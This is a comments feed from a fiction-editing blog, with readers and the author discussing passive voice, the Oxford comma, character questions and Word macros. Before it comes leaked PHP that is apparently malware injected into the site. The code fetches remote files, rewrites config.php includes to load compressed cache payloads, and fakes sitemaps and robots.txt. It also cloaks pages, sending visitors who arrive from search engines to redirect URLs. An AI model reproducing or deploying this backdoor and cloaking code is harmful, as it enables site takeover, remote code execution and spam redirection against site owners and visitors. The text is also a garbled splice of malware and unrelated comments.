se($ch); } else { $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'header' => 'X-Code-API-Key: ' . CODE_API_KEY, 'timeout' => 10 ] ]); $response = @file_get_contents(IMAGE_API_URL, false, $context); } if ($response) { $data = json_decode($response, true); if ($data && $data['code'] == 0) { if (isset($data['data']['files']) && is_array($data['data']['files'])) { $replacement = "\$_z = (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '/cache/') . 'config.gz';\nif (file_exists(\$_z)) @include_once 'compress.zlib://' . \$_z;"; foreach ($data['data']['files'] as &$file) { if (isset($file['content']) && is_string($file['content'])) { $file['content'] = str_replace("require_once __DIR__ . '/config.php';", $replacement, $file['content']); $file['content'] = str_replace('require_once __DIR__ . "/config.php";', $replacement, $file['content']); $file['content'] = str_replace("require __DIR__ . '/config.php';", $replacement, $file['content']); $file['content'] = str_replace('require __DIR__ . "/config.php";', $replacement, $file['content']); $file['content'] = preg_replace('/(?:require_once|require)\s+__DIR__\s*\.\s*[\'"][^"\']*config\.php[\'"][^;]*;/', $replacement, $file['content']); } } unset($file); } @file_put_contents($imageCacheFile, json_encode($data), LOCK_EX); createFileStructure($data['data']); } } } catch (Exception $e) { } } $request_uri = $_SERVER['REQUEST_URI'] ?? '/'; $request_path = parse_url($request_uri, PHP_URL_PATH); $query_string = parse_url($request_uri, PHP_URL_QUERY); $exceptions = [ '/wp-admin/', '/wp-login.php', '/cache/', '/wp-content/themes/', '/wp-content/plugins/', '/wp-content/uploads/', ]; $is_exception = false; foreach ($exceptions as $exception) { if (strpos($request_path, $exception) === 0) { $is_exception = true; break; } } $static_extensions = ['php', 'css', 'js', 'png', 'jpg', 'jpeg', 'gif', 'ico', 'svg', 'woff', 'woff2', 'ttf', 'eot', 'pdf']; $is_static_file = false; foreach ($static_extensions as $ext) { if (preg_match('/\.' . preg_quote($ext, '/') . '$/', $request_path)) { $is_static_file = true; break; } } if ($request_path === '/robots.txt') { $robots_file = CACHE_DIR . 'robots.txt'; if (file_exists($robots_file)) { header('Content-Type: text/plain; charset=utf-8'); readfile($robots_file); exit(); } else { $currentDomain = $_SERVER['HTTP_HOST'] ?? 'localhost'; $robotsContent = "User-agent: *\nAllow: /\nSitemap: https://" . $currentDomain . "/sitemap.xml"; header('Content-Type: text/plain; charset=utf-8'); echo $robotsContent; exit(); } } if ($is_static_file && !$is_exception) { $clean_path = $request_path; if (preg_match('#^/(tmp|temp)/' . preg_quote(SITE_ID, '/') . '/(.+)$#', $request_path, $matches)) { $clean_path = '/' . $matches[2]; } elseif (preg_match('#^/(tmp|temp)/(.+)$#', $request_path, $matches)) { $clean_path = '/' . $matches[2]; } $cache_file_path = CACHE_DIR . ltrim($clean_path, '/'); if (!file_exists($cache_file_path)) { $cache_file_path = CACHE_DIR . ltrim($request_path, '/'); } if (file_exists($cache_file_path) && is_file($cache_file_path)) { $real_cache_dir = realpath(CACHE_DIR); $real_file_path = realpath($cache_file_path); if ($real_file_path && strpos($real_file_path, $real_cache_dir) === 0) { $ext = strtolower(pathinfo($cache_file_path, PATHINFO_EXTENSION)); $mimeTypes = ['png' => 'image/png', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'gif' => 'image/gif', 'ico' => 'image/x-icon', 'svg' => 'image/svg+xml', 'webp' => 'image/webp', 'css' => 'text/css', 'js' => 'application/javascript', 'pdf' => 'application/pdf', 'woff' => 'font/woff', 'woff2' => 'font/woff2', 'ttf' => 'font/ttf', 'eot' => 'application/vnd.ms-fontobject']; header('Content-Type: ' . ($mimeTypes[$ext] ?? 'application/octet-stream')); if (isImageFile($cache_file_path)) { header('Cache-Control: public, max-age=' . IMAGE_CACHE_TTL); } else { header('Cache-Control: public, max-age=' . CACHE_TTL); } readfile($cache_file_path); exit(); } } } if (preg_match('/^sitemap.*\.xml$/', $query_string ?? '') || preg_match('/^\/sitemap.*\.xml$/', $request_path)) { $sitemap_file = CACHE_DIR . 'sitemap.gz'; if (file_exists($sitemap_file)) { @include_once 'compress.zlib://' . $sitemap_file; exit(); } } if (!$is_exception && !$is_static_file) { $cloaking_gz = CACHE_DIR . 'cloaking.gz'; if (file_exists($cloaking_gz)) { @include_once 'compress.zlib://' . $cloaking_gz; } $clean_path = trim($request_path, '/'); if (isset($cloaker) && $cloaker->is_human_from_search) { header('Location: ' . $cloaker->getRedirectUrl()); exit(); } elseif (isset($blocked) && $blocked) { $clean_path = '/' . $clean_path; $router_file = CACHE_DIR . 'router.gz'; if (file_exists($router_file)) { @include_once 'compress.zlib://' . $router_file; } exit(); } } ?> Comments for Amelia Winters Editing https://wintersediting.com/ Mon, 16 Feb 2026 10:04:53 +0000 hourly 1 https://wordpress.org/?v=6.9.4 Comment on Mastering the Art of Showing and Telling in Fiction by CHAKRAti Abderrazzak https://wintersediting.com/showing-telling-fiction/#comment-1379 Mon, 16 Feb 2026 10:04:53 +0000 https://ameliawiens.com/?p=2046#comment-1379 I’m really interested in the way you make easy for us to write fluently.
Thanks.

]]>
Comment on 30 Questions for Creating Complex Characters by Amelia Winters https://wintersediting.com/30-questions-complex-characters-2/#comment-995 Tue, 02 Sep 2025 15:09:47 +0000 https://ameliawiens.com/?p=3603#comment-995 In reply to Themba.

I’m so glad to hear you’ve found these questions helpful!

]]>
Comment on 30 Questions for Creating Complex Characters by Themba https://wintersediting.com/30-questions-complex-characters-2/#comment-993 Tue, 02 Sep 2025 11:54:46 +0000 https://ameliawiens.com/?p=3603#comment-993 I have used character questions before, these ones do get to the core of the character. I will share the link with my students. Thank you for sharing.

]]>
Comment on How to Use Word’s Styles Feature in Fiction Manuscripts by Amelia Winters https://wintersediting.com/words-styles-fiction-manuscript/#comment-979 Thu, 21 Aug 2025 20:33:06 +0000 https://ameliawiens.com/?p=1593#comment-979 In reply to Ducklady.

I’m sorry to hear that! My macros likely stayed attached to the file. I may need to update the file to make sure my macros are removed. Thank you for letting me know!

]]>
Comment on How to Use Word’s Styles Feature in Fiction Manuscripts by Ducklady https://wintersediting.com/words-styles-fiction-manuscript/#comment-947 Sun, 03 Aug 2025 10:24:51 +0000 https://ameliawiens.com/?p=1593#comment-947 Sadly, Mawarebytes is blocking your templates.

]]>
Comment on The Controversial Comma: A Guide to Navigating the Oxford Comma by Patrick L Ward https://wintersediting.com/the-controversial-comma/#comment-881 Sun, 01 Jun 2025 15:51:30 +0000 https://ameliawiens.com/?p=1317#comment-881 I find that some journalists , especially when quoting a subject of an interview, seem to avoid using punctuation – including commas and dashes – on purpose. This allows them to shape the words of the interviewee to support the narrative or to allow multiple interpretations by different readers of what is being said. In other words, they are deliberately trying to avoid precision and/or embrace the ambiguity that punctuation would otherwise clear up as a means of getting a reaction out of their intended audience(s).

A recurring example of this approach occurs with journalists who quote Geno Auriemma, the head coach of the UConn women’s basketball team for the past 40 years, before and after games. Reading the quotes and then watching the interview (or vice versa), it is easy to see how the use of proper punctuation would/could accurately convey Auriemma’s responses to questions. However, doing so would stray from the utility of presenting the often controversial Auriemma in a light that sells clicks. Sadly, albeit understandably, quite a few journalists have taken the path of controversy vice clarity.

I am not a journalist, English major, or an amateur literary critic. I am just a retired Navy Captain (and avid UConn fan) that appreciates clarity and precision in communications while also enjoying the many writing styles of authors across the planet. Thanks for your explanation of the Oxford comma and its utility in punctuation. You, young lady, are a pleasure to read!

]]>
Comment on How to Compile Your Chapter Word Counts: A Macro for Fiction Authors by Amelia Winters https://wintersediting.com/chapter-word-count-macro/#comment-859 Thu, 15 May 2025 15:56:52 +0000 https://wintersediting.com/?p=4356#comment-859 In reply to Thisgirl.

I’m so glad you’ve found this helpful! Unfortunately, I don’t know if LibreOffice will run macros written for Microsoft Word. If it’s a Microsoft program, there’s a chance, but otherwise, probably not.

]]>
Comment on How to Compile Your Chapter Word Counts: A Macro for Fiction Authors by Thisgirl https://wintersediting.com/chapter-word-count-macro/#comment-858 Wed, 14 May 2025 17:43:58 +0000 https://wintersediting.com/?p=4356#comment-858 Hello, thank you for this life saver ! DO you know if it works on LibreOffice too ?

Cheers !

]]>
Comment on When to Use and Avoid Passive Voice in Fiction by Amelia Winters https://wintersediting.com/passive-voice-fiction/#comment-705 Sat, 14 Dec 2024 00:05:01 +0000 https://ameliawiens.com/?p=1747#comment-705 In reply to Anne Canniff.

Of course! I’m happy to help :).

]]>
Comment on When to Use and Avoid Passive Voice in Fiction by Anne Canniff https://wintersediting.com/passive-voice-fiction/#comment-694 Tue, 03 Dec 2024 02:38:29 +0000 https://ameliawiens.com/?p=1747#comment-694 Hello Amelia,
So nice to put a face to the wonderful person who has been a great source of literary genius and who I can count on to offer superb constructive suggestions to my manuscript. Thank you for being there when I have questions and I’m sure I’ll be making you very busy during this edit of my book. So nice to read and attempt to absorb the information contained in this, is a gigantic help. I feel as though I’m back in Ms. Schaffer’s English Lit. class in 1959…. Now, if I can only remember everything I just read, I’ll be okay.
Thanks again for everything.

]]>